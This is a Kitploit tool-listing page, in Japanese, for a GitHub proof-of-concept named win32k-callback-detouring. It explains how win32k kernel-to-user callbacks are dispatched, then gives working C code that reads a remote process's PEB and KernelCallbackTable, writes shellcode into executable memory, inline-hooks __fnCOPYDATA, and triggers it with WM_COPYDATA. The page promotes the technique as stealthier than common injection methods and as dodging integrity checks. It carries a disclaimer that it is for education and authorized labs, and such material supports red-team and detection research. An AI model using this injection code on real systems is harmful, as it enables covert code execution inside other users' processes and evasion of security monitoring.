Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
win32k-callback-detouring — win32k.sys カーネルコールバックメカニズムを悪用した任意コード実行 | Kitploit
ツール/GitHubGitHub/n0qword/win32k-callback-detouring
エクスプロイトシェルコードポストエクスプロイト学習と教育レッドチーミングペイロード開発
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

win32k.sys カーネルコールバックメカニズムを悪用した任意コード実行

リポジトリを見る
108124ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

免責事項

このリポジトリは、教育および防御的な研究目的でのみ提供されます。

これは、概念実証の文脈で Windows の内部コールバックディスパッチの仕組みと KernelCallbackTable に関連する制御フローの概念を示しています。

  • 不正使用を意図していません
  • 運用展開を目的としていません
  • ステルス性や OPSEC に関する考慮はありません
  • 自分が所有する、またはテストを許可された管理されたラボ環境でのみ使用してください

作者は誤用について一切の責任を負いません。


Win32k コールバックの迂回: 正規のカーネルからユーザーへのコールバックディスパッチを悪用したコード実行

概要

このインジェクション技術は、Windows グラフィカルサブシステム (win32k.sys) が使用するカーネルからユーザーへのコールバックディスパッチ経路を悪用して、リモートプロセス内でコード実行を獲得します。対象プロセスの Process Environment Block (PEB) を通じて KernelCallbackTable を特定することで、オペレーターはコールバックエントリを列挙し、GUI 関連のカーネル遷移中に呼び出される正規のユーザーモードルーチンを識別できます。

コールバックエントリをシェルコードアドレスで直接上書きする従来の KernelCallbackTable Injection を行う代わりに、この変形ではテーブルが参照する正規のコールバックターゲットをフックし、呼び出し時に攻撃者が制御するシェルコードへ実行をリダイレクトします。実行は既存かつ予期されたコールバック経路を通じて乗っ取られるため、この技術はリモートスレッド生成や APC-based injection などのより一般的なプリミティブに比べて、ステルス性の高い代替手段となり得ます。


メカニズムの理解

Windows コールバックディスパッチフロー

Windows グラフィカルサブシステムは、カーネルモードから開始されるコールバックメカニズムを通じて、GUI 関連処理の一部をユーザーモードに委任します。win32k.sys が GUI プロセスのコンテキスト内で実行されるロジックを必要とする場合、KeUserModeCallback を呼び出して、両方の実行コンテキスト間の分離境界を維持しながら、カーネルモードからユーザーモードへの制御された遷移を実行します。

この遷移により、カーネルがグラフィカルサブシステムのコールバックをユーザーモードにディスパッチする正規の実行経路が確立されます。これは、提示された技術によって後に悪用される同じ経路です。


KiUserCallbackDispatcher

遷移が完了すると、実行は KiUserCallbackDispatcher に入ります。これは ntdll.dll のルーチンで、カーネルから提供されたコールバックインデックスを受け取り、対応するユーザーモードコールバックハンドラへの実行ディスパッチを担当します。このルーチンは、KeUserModeCallback を通じて開始されるすべてのコールバックの必須エントリポイントとして機能します。

すべてのコールバック解決がこのディスパッチャに集約されるため、KiUserCallbackDispatcher はカーネルのコールバック要求と、その最終的なユーザーモード実行の間の中心的なピボットとして機能します。


KernelCallbackTable 解決パス

要求されたコールバックの宛先を解決するため、KiUserCallbackDispatcher は対象プロセスの PEB に格納されている KernelCallbackTable を参照します。各テーブルエントリには、特定のグラフィカルサブシステム操作に関連付けられたユーザーモードコールバックルーチンへのポインタが含まれており、通常は user32.dll に実装されています。

従来の KernelCallbackTable Injection 技術は、これらのエントリの1つ以上を直接上書きして実行をリダイレクトします。効果的ではありますが、テーブル自体を変更すると構造的な不整合が生じ、PEB またはコールバックテーブル内容の整合性検証によって簡単に検出される可能性があります。提示された技術は、テーブル構造を維持し、代わりにエントリが参照するコールバックターゲットを迂回させることでこれを回避します。


実行プリミティブとしての __fnCOPYDATA の活用

利用可能な KernelCallbackTable エントリのうち、__fnCOPYDATA は特に便利なトリガープリミティブを提供します。SendMessage() を介して WM_COPYDATA メッセージを送信することで外部から呼び出すことができるためです。これにより、特別なプロセス状態や複雑な操作を必要とせず、コールバックを決定的にトリガーできます。

自然にアクセス可能で頻繁に使用されるコールバックターゲットを活用することで、この技術はリダイレクト前に期待されるコールバックディスパッチチェーン内に完全にとどまりながら、信頼性の高い実行プリミティブを獲得します。


kcallbackflow


仕組み

この技術は、対象プロセスを特定し、その PEB を読み取って KernelCallbackTable のアドレスを取得することから始まります。このテーブルから __fnCOPYDATA のコールバックポインタが解決されます。次に、リモートプロセス内に実行可能メモリが割り当てられ、攻撃者が制御するシェルコードがその領域に書き込まれます。変更に先立ち、正規のコールバックルーチンの元のバイト列は、後で復元できるよう保存されます。

次に、解決された __fnCOPYDATA ルーチンの先頭にインラインフックがインストールされ、そのプロローグが注入したシェルコードへの絶対ジャンプに置き換えられます。実行をトリガーするため、WM_COPYDATA メッセージが対象ウィンドウに送信され、Windows グラフィカルサブシステムが標準のカーネルからユーザーへのコールバックチェーンを通じて __fnCOPYDATA をディスパッチします。実行が完了すると、元のコールバックバイト列が復元され、プロセスの安定性が維持され、残存する変更痕跡が軽減されます。


実装

ステップ 1: リモートプロセスの PEB と KernelCallbackTable を取得する

KernelCallbackTable は PEB 内のオフセット 0x58 にあります:

dt_peb

これを取得するには、次のロジックを使用します:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

このコードは、まず NtQueryInformationProcess を ProcessBasicInformation 情報クラスで呼び出して PROCESS_BASIC_INFORMATION 構造体を入力し、PebBaseAddress フィールドを通じてリモートプロセスの PEB アドレスを公開します。

次に、NtReadVirtualMemory を使用してリモートの PEB をローカルの PEB 構造体に読み込み、プロセス環境に格納されている KernelCallbackTable ポインタを抽出できるようにします。コールバックテーブルが存在することを検証した後、2 回目の NtReadVirtualMemory 呼び出しでリモートの KERNELCALLBACKTABLE 構造体をローカルメモリにコピーし、後続の迂回のために __fnCOPYDATA などのコールバックターゲットを直接解決できるようにします。

kct_callback


ステップ 2: リモートプロセスにシェルコードを割り当てる

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory はリモートプロセス内に実行可能メモリを予約し、そのベースアドレスを remoteShellcodeAddr を通じて返します。割り当てサイズはシェルコードバッファの長さから導出されます。

NtWriteVirtualMemory は次にシェルコードを割り当てられた領域にコピーし、コールバックの迂回を通じて後で実行されるようにペイロードを対象プロセス内にステージングします。


ステップ 3: インラインフックをインストールして実行をトリガーする

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote は、元の関数とデトゥア(迂回先)のアドレスを INLINEHOOKTABLE 構造体に格納することで、リモートのコールバックターゲットを迂回できるように準備します。NtReadVirtualMemory で対象ルーチンの先頭バイトを読み取って元のコールバックプロローグを保存し、その後 NtProtectVirtualMemory を使用してその領域の保護を PAGE_EXECUTE_READWRITE に変更し、安全にパッチを適用できるようにします。

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote は、注入されたシェルコードに実行をリダイレクトする絶対 x64 ジャンプスタブ (mov r10, <detour>; jmp r10) を構築します。次に、このジャンプスタブは NtWriteVirtualMemory を介して対象のコールバックルーチンの先頭に書き込まれ、インラインフックが効果的にインストールされます。

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote は、INLINEHOOKTABLE 構造体に保存されているプロローグバイト列を書き戻すことで、元のコールバックルーチンを復元します。次に、NtProtectVirtualMemory を使用してパッチ適用領域の元のメモリ保護属性を再設定し、インラインフックを削除してコールバックターゲットを初期状態に戻します。

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

実行をトリガーするため、SendMessageW を介して対象ウィンドウに WM_COPYDATA メッセージが送信され、Windows コールバックディスパッチャは通常のカーネルからユーザーへのコールバックパスを通じてフックされた __fnCOPYDATA ルーチンを呼び出します。実行が完了すると、RemoveHookRemote が元のコールバックバイト列を復元し、プロセスの安定性を維持します。


実行

ロジックが実装されると、概念実証を実行して次の結果を得ることができます:

fin_exec

ツールをダウンロード